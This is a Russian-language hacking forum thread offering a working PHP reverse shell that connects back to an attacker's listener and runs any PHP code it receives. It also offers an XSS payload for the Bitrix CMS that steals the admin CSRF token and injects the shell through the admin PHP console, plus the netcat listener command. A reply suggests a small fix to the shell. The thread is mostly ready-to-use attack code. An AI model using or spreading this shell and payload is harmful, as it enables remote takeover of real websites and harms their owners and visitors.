Старый 08.04.2015, 06:58   #1
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию PHP reverse eval shell

Сделан для прокидывания через RCE при ограничениях exec() и подобному.
  • Использует только fsockopen и eval
  • Форкается если есть pcntl_fork

PHP код:
set_time_limit(0);
if (
function_exists(pcntl_fork))  {
  
$pid pcntl_fork();
  if(
$pid==1) exit(1);
  if(
$pid) exit(0);
  if(
posix_setsid()==1) exit(1);
}
$sock fsockopen('10.0.2.2',12345$errno$errstr30);
if(!
$sock) exit(1);
stream_set_blocking($sock0);
while(
1){
  
$input=fread($sock1024*1024);
  if(
$input!=null){
    
ob_start();eval($input);
    
$out=ob_get_contents();
    
ob_clean();
    
fwrite($sock$out."\n");
    
$input null;
  }
}
fclose($sock); 
Для битрикса через XSS (достает CSRF токен и кидает в админку):

Код:
var shell="set_time_limit(0)%3B%0Aif%20(function_exists('pcntl_fork'))%20%7B%0A%20%20%24pid%20%3D%20pcntl_fork()%3B%0A%20%20if%20(%24pid%20%3D%3D%20*1)%0A%20%20%20%20exit(1)%3B%0A%20%20if%20(%24pid)%0A%20%20%20%20exit(0)%3B%0A%20%20if%20(posix_setsid()%20%3D%3D%20*1)%0A%20%20%20%20exit(1)%3B%0A%7D%0A%24sock%20%3D%20fsockopen('10.0.2.2'%2C%2012345%2C%20%24errno%2C%20%24errstr%2C%2030)%3B%0Aif%20(!%24sock)%20exit(1)%3B%0Astream_set_blocking(%24sock%2C%200)%3B%0Awhile%20(1)%20%7B%0A%20%20%24input%20%3D%20fread(%24sock%2C%201024*1024)%3B%0A%20%20if(%24input!%3Dnull)%7B%0A%20%20%20%20ob_start()%3Beval(%24input)%3B%24out%20%3D%20ob_get_contents()%3Bob_clean()%3Bfwrite(%24sock%2C%20%24out.%228%5Cn%22)%3B%24input%20%3D%20null%3B%0A%20%20%7D%0A%7D%0Afclose(%24sock)%3B";

$.get('/bitrix/tools/composite_data.php',function a(d){var i=d.substr(d.indexOf('sid')+6,32);$.post('/bitrix/admin/php_command_l ine.php?lang=ru&sessid='+i,'query='+shell+'&result_as_text=y&ajax=y') },'text');
На клиенте открываем и пользуемся как через интерактивную РНР консоль:
Код:
$ nc -lvvp 12345

echo 13*3;
39
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 08.04.2015 в 07:03..
d0znpp вне форума   Ответить с цитированием
Старый 09.04.2015, 09:32   #2
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Стоит заменить строку
Код:
if (function_exists(pcntl_fork))  {
на
Код:
if (function_exists('pcntl_fork'))  {
Чтобы избежать появления лишнего нотиса в логах.
Код:
Use of undefined constant pctntl_fork - assumed 'pcntl_fork'
__________________
|
Boolean вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot